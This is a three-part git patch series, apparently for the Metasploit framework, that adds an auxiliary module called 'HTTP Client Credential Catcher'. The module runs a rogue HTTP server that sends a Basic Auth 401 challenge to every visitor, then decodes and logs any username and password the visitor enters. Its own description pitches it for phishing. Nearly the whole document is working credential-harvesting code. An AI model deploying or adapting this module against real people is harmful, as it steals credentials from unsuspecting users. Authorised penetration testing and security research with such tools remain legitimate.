From de380cfb466f7994ac31516a48ffeaa6ccecd094 Mon Sep 17 00:00:00 2001 From: saint patrick Date: Sun, 19 Aug 2012 01:51:01 -0500 Subject: [PATCH 1/3] Adding aux mod for HTTP Basic Auth capture --- .../auxiliary/server/capture/http_basic.rb | 129 ++++++++++++++++++ 1 file changed, 129 insertions(+) create mode 100644 modules/auxiliary/server/capture/http_basic.rb diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb new file mode 100644 index 0000000000..e831a6390b --- /dev/null +++ b/modules/auxiliary/server/capture/http_basic.rb @@ -0,0 +1,129 @@ +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::TcpServer + include Msf::Auxiliary::Report + + + def initialize + super( + 'Name' => 'HTTP Client Credential Catcher', + 'Version' => '$Revision: $', + 'Description' => %q{ + This module responds to all requests for resources with a HTTP 401. This should + cause most browsers to prompt for credentials. If the user enters Basic Auth creds + they are sent to the console. + + This may be helpful in some phishing expeditions where it is possible to embed a + resource into a page. + + This attack is discussed in Chapter 3 of The Tangled Web by Michal Zalewski. + }, + 'Author' => ['saint patrick '], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Capture' ] + ], + 'PassiveActions' => + [ + 'Capture' + ], + 'DefaultAction' => 'Capture' + ) + + register_options( + [ + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]), + OptString.new('REALM', [ true, "The authentication realm you'd like to present.", "Secure Site" ]), + ], self.class) + end + + # Not compatible today + def support_ipv6? + false + end + + def run + @myhost = datastore['SRVHOST'] + @myport = datastore['SRVPORT'] + @realm = datastore['REALM'] + + print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...") + exploit() + end + + def on_client_connect(c) + c.extend(Rex::Proto::Http::ServerClient) + c.init_cli(self) + end + + def on_client_data(cli) + begin + data = cli.get_once(-1, 5) + raise ::Errno::ECONNABORTED if !data or data.length == 0 + case cli.request.parse(data) + when Rex::Proto::Http::Packet::ParseCode::Completed + dispatch_request(cli, cli.request) + cli.reset_cli + when Rex::Proto::Http::Packet::ParseCode::Error + close_client(cli) + end + rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET + rescue ::OpenSSL::SSL::SSLError + rescue ::Exception + print_error("Error: #{$!.class} #{$!} #{$!.backtrace}") + end + + close_client(cli) + end + + def close_client(cli) + cli.close + # Require to clean up the service properly + raise ::EOFError + end + + def dispatch_request(cli, req) + + phost = cli.peerhost + mysrc = Rex::Socket.source_address(cli.peerhost) + + + + if(req['Authorization'] and req['Authorization'] =~ /basic/i) + basic,auth = req['Authorization'].split(/\s+/) + user,pass = Rex::Text.decode_base64(auth).split(':', 2) + + print_status("HTTP LOGIN #{cli.peerhost} > :#{@myport} #{user} / #{pass} => #{req.resource}") + else + data = %Q^ + + + + Error + + +

401 Unauthorized.

+ + ^ + + res = + "HTTP/1.1 401 Authorization Required\r\n" + + "WWW-Authenticate: Basic realm=\"#{@realm}\"\r\n" + + "Cache-Control: must-revalidate\r\n" + + "Content-Type: text/html\r\n" + + "Content-Length: #{data.length}\r\n" + + "Connection: Close\r\n\r\n#{data}" + + cli.put(res) + end + + return + + end + +end From 10698e2f998212d3c04836f848965c25859d9d4e Mon Sep 17 00:00:00 2001 From: saint patrick Date: Sun, 19 Aug 2012 19:47:01 -0500 Subject: [PATCH 2/3] Updating HTTP Basic capture mod with edits based on MSF team suggestions --- .../auxiliary/server/capture/http_basic.rb | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb index e831a6390b..c949304ff5 100644 --- a/modules/auxiliary/server/capture/http_basic.rb +++ b/modules/auxiliary/server/capture/http_basic.rb @@ -6,7 +6,6 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report - def initialize super( 'Name' => 'HTTP Client Credential Catcher', @@ -15,10 +14,10 @@ class Metasploit3 < Msf::Auxiliary This module responds to all requests for resources with a HTTP 401. This should cause most browsers to prompt for credentials. If the user enters Basic Auth creds they are sent to the console. - + This may be helpful in some phishing expeditions where it is possible to embed a resource into a page. - + This attack is discussed in Chapter 3 of The Tangled Web by Michal Zalewski. }, 'Author' => ['saint patrick '], @@ -92,15 +91,25 @@ class Metasploit3 < Msf::Auxiliary mysrc = Rex::Socket.source_address(cli.peerhost) - + if(req['Authorization'] and req['Authorization'] =~ /basic/i) basic,auth = req['Authorization'].split(/\s+/) user,pass = Rex::Text.decode_base64(auth).split(':', 2) + report_auth_info( + :host => cli.peerhost, + :port => datastore['SRVPORT'], + :sname => 'HTTP', + :user => user, + :pass => pass, + :source_type => "captured", + :active => true + ) + print_status("HTTP LOGIN #{cli.peerhost} > :#{@myport} #{user} / #{pass} => #{req.resource}") else data = %Q^ - From e6bda752ee2e6a6cc9812a5c1af60748cc83bdae Mon Sep 17 00:00:00 2001 From: saint patrick Date: Mon, 20 Aug 2012 15:23:49 -0500 Subject: [PATCH 3/3] cleaned up and using HttpServer for handling requests and sending 401 --- .../auxiliary/server/capture/http_basic.rb | 62 ++----------------- 1 file changed, 6 insertions(+), 56 deletions(-) diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb index c949304ff5..061c6db69f 100644 --- a/modules/auxiliary/server/capture/http_basic.rb +++ b/modules/auxiliary/server/capture/http_basic.rb @@ -3,7 +3,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::TcpServer + include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report def initialize @@ -54,44 +54,11 @@ class Metasploit3 < Msf::Auxiliary exploit() end - def on_client_connect(c) - c.extend(Rex::Proto::Http::ServerClient) - c.init_cli(self) - end - - def on_client_data(cli) - begin - data = cli.get_once(-1, 5) - raise ::Errno::ECONNABORTED if !data or data.length == 0 - case cli.request.parse(data) - when Rex::Proto::Http::Packet::ParseCode::Completed - dispatch_request(cli, cli.request) - cli.reset_cli - when Rex::Proto::Http::Packet::ParseCode::Error - close_client(cli) - end - rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET - rescue ::OpenSSL::SSL::SSLError - rescue ::Exception - print_error("Error: #{$!.class} #{$!} #{$!.backtrace}") - end - - close_client(cli) - end - - def close_client(cli) - cli.close - # Require to clean up the service properly - raise ::EOFError - end - - def dispatch_request(cli, req) - + def on_request_uri(cli, req) phost = cli.peerhost mysrc = Rex::Socket.source_address(cli.peerhost) - if(req['Authorization'] and req['Authorization'] =~ /basic/i) basic,auth = req['Authorization'].split(/\s+/) user,pass = Rex::Text.decode_base64(auth).split(':', 2) @@ -107,28 +74,11 @@ class Metasploit3 < Msf::Auxiliary ) print_status("HTTP LOGIN #{cli.peerhost} > :#{@myport} #{user} / #{pass} => #{req.resource}") + send_not_found(cli) else - data = %Q^ - - - - Error - - -

401 Unauthorized.

- - ^ - - res = - "HTTP/1.1 401 Authorization Required\r\n" + - "WWW-Authenticate: Basic realm=\"#{@realm}\"\r\n" + - "Cache-Control: must-revalidate\r\n" + - "Content-Type: text/html\r\n" + - "Content-Length: #{data.length}\r\n" + - "Connection: Close\r\n\r\n#{data}" - - cli.put(res) + response = create_response(401, "Unauthorized") + response.headers['WWW-Authenticate'] = "Basic realm=\"#{@realm}\"" + cli.send_response(response) end return